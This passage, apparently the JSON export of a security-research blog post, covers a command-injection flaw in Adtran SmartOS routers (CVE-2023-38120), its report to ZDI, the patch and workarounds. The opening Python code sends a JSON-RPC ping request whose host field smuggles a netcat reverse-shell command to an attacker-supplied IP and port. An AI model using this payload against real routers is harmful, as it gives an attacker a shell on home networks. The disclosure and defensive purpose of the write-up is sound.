style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">device_ip<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">device_port<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">reverse_ip<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">reverse_port<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\tws, session_key <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> get_router_session(device_ip, device_port)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t<\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> session_key:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\tcmd_inj <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF; font-style: italic\">f<\/span><span style=\"color: #E6DB74\">&quot;&#39;&#39;&gt;\/dev\/null &amp; nc <\/span><span style=\"color: #AE81FF\">{<\/span><span style=\"color: #F8F8F2\">reverse_ip<\/span><span style=\"color: #AE81FF\">}<\/span><span style=\"color: #E6DB74\"> <\/span><span style=\"color: #AE81FF\">{<\/span><span style=\"color: #F8F8F2\">reverse_port<\/span><span style=\"color: #AE81FF\">}<\/span><span style=\"color: #E6DB74\"> -e \/bin\/sh &amp;&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\tping_query <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t\t<\/span><span style=\"color: #E6DB74\">&quot;jsonrpc&quot;<\/span><span style=\"color: #F8F8F2\">:<\/span><span style=\"color: #E6DB74\">&quot;2.0&quot;<\/span><span style=\"color: #F8F8F2\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t\t<\/span><span style=\"color: #E6DB74\">&quot;id&quot;<\/span><span style=\"color: #F8F8F2\">:<\/span><span style=\"color: #AE81FF\">5<\/span><span style=\"color: #F8F8F2\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t\t<\/span><span style=\"color: #E6DB74\">&quot;method&quot;<\/span><span style=\"color: #F8F8F2\">:<\/span><span style=\"color: #E6DB74\">&quot;call&quot;<\/span><span style=\"color: #F8F8F2\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t\t<\/span><span style=\"color: #E6DB74\">&quot;params&quot;<\/span><span style=\"color: #F8F8F2\">: &#91;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t\t\tsession_key,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t\t\t<\/span><span style=\"color: #E6DB74\">&quot;\/juci\/smartrg.diagnostics&quot;<\/span><span style=\"color: #F8F8F2\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t\t\t<\/span><span style=\"color: #E6DB74\">&quot;ping&quot;<\/span><span style=\"color: #F8F8F2\">, {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t\t\t\t<\/span><span style=\"color: #E6DB74\">&quot;host&quot;<\/span><span style=\"color: #F8F8F2\">: cmd_inj<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t\t\t}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t\t&#93;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\tws.send(json.dumps(ping_query))<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<ul class=\"wp-block-list\">\n<li>We are opening a websocket session.<\/li>\n\n\n\n<li>I send the data that I built through <strong>get_router_session <\/strong>function and getting a valid session key.<\/li>\n\n\n\n<li>The exploit function send the payload after getting all the necessary data.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">After executing the code, the result is this:<\/p>\n\n\n<div class=\"wp-block-image is-resized\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"480\" height=\"344\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-93.png\" alt=\"\" class=\"wp-image-234\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-93.png 480w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-93-300x215.png 300w\" sizes=\"auto, (max-width: 480px) 100vw, 480px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Oouf ! Happy now ? \ud83d\ude1b<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><br>I reported this to ZDI, and they took the responsibility to inform the vendor about the 0day and followed up with them. Fortunately, it was patched and secured in SmartOS 12.1.13.1 version. The impact of this was significant; attackers could exploit devices behind the router or manipulate DNS traffic. Imagine the situation if a ransomware or a wormable program attacked the entire area where these routers are found&#8230;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"872\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/10\/image-1-1024x872.png\" alt=\"\" class=\"wp-image-269\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/10\/image-1-1024x872.png 1024w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/10\/image-1-300x255.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/10\/image-1-768x654.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/10\/image-1.png 1203w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Public advisory<\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Here is the <a href=\"https:\/\/www.zerodayinitiative.com\/advisories\/ZDI-23-1010\/\">CVE-2023-38120<\/a> given for this. Thanks for ZDI as well for their help.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Exploitation code in <a href=\"https:\/\/github.com\/warber0x\/CVE-2023-38120\" data-type=\"link\" data-id=\"https:\/\/github.com\/warber0x\/CVE-2023-38120\">here<\/a><br><br>I want to clarify that all parties involved in this security vulnerability are aware of my intention to publish this article. Therefore, there are no concerns or issues regarding the disclosure of this information. The entire process is transparent and authorized, ensuring an ethical and responsible publication.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">$ Solution:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">There are two ways to secure this:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The first one, and it&#8217;s the best one, is to patch the flaw by installing the new version of SmartOS in <a href=\"https:\/\/supportcommunity.adtran.com\/t5\/Security-Advisories\/ADTSA-2023001-Residential-Gateway-amp-Service-Delivery-Gateway\/ta-p\/38495\">here<\/a><\/li>\n\n\n\n<li>The second one, and this is just a workaround, is to disable &#8220;<strong>Enable WAN HTTP<\/strong>&#8221; access that comes by default for maintenance reasons. You can enable this when you are in call with the ISP support team and disable it right after finishing the call.<\/li>\n\n\n\n<li>Replace the router completely \ud83d\ude01I used this approach when there was no fix. I change the router mode to an access point mode and disable the Enable WAN HTTP.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"570\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/10\/image-2-1024x570.png\" alt=\"\" class=\"wp-image-270\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/10\/image-2-1024x570.png 1024w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/10\/image-2-300x167.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/10\/image-2-768x428.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/10\/image-2-1536x855.png 1536w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/10\/image-2.png 1629w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">$ Conclusion:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">I hope that through this article you have a better understanding of the impact of simple vulnerability and how it can be harmful for the user as well as for the company and it&#8217;s reputation. I was surprised that <strong>Adtran<\/strong> took this seriously and released a fix because vendors are usually not interested to fix something outdated. Anyway, outdated or not, what I like in hacking is the critical thinking, asking myself questions and try to find answers&#8230;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Hit me up on social networks or just leave some comments in the section below. See you next time, keep on hacking \ud83d\ude0e !<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>$ References:<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/forum.openwrt.org\/\">https:\/\/forum.openwrt.org\/<\/a><br><a href=\"https:\/\/en.wikipedia.org\/wiki\/Embedded_operating_system\">https:\/\/en.wikipedia.org\/wiki\/Embedded_operating_system<\/a><br><a href=\"https:\/\/en.wikipedia.org\/wiki\/Embedded_system\n\">https:\/\/en.wikipedia.org\/wiki\/Embedded_system<br><\/a><a href=\"https:\/\/github.com\/mkschreder\/juci\n\">https:\/\/github.com\/mkschreder\/juci<br><\/a><a href=\"https:\/\/openwrt.org\/docs\/techref\/ubus\n\">https:\/\/openwrt.org\/docs\/techref\/ubus<br><\/a><a href=\"https:\/\/openwrt.org\/docs\/guide-user\/base-system\/uci\n\">https:\/\/openwrt.org\/docs\/guide-user\/base-system\/uci<br><\/a><a href=\"https:\/\/en.wikipedia.org\/wiki\/JSON-RPC\n\">https:\/\/en.wikipedia.org\/wiki\/JSON-RPC<br><\/a><a href=\"https:\/\/en.wikipedia.org\/wiki\/WebSocket\n\">https:\/\/en.wikipedia.org\/wiki\/WebSocket<br><\/a><a href=\"https:\/\/github.com\/mkschreder\/orangerpcd\n\">https:\/\/github.com\/mkschreder\/orangerpcd<br><\/a><a href=\"https:\/\/en.wikipedia.org\/wiki\/SHA-1\n\">https:\/\/en.wikipedia.org\/wiki\/SHA-1<br><\/a><a href=\"https:\/\/netcat.sourceforge.net\/\">https:\/\/netcat.sourceforge.net\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Disclaimer: The first thing I will tell you is any actions made by using the code contained in this article are solely your responsibility not mine. This article is written to show you only my methodology, how do I approach routers for finding vulnerabilities and not how to hack into [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":199,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14,5],"tags":[11,12,16,15],"class_list":["post-152","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-iot","category-security-research","tag-hacking","tag-iot","tag-research","tag-routerhacking"],"_links":{"self":[{"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/posts\/152","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thered0ne.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=152"}],"version-history":[{"count":42,"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/posts\/152\/revisions"}],"predecessor-version":[{"id":333,"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/posts\/152\/revisions\/333"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thered0ne.com\/index.php?rest_route=\/wp\/v2\/media\/199"}],"wp:attachment":[{"href":"https:\/\/thered0ne.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=152"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thered0ne.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=152"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thered0ne.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=152"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}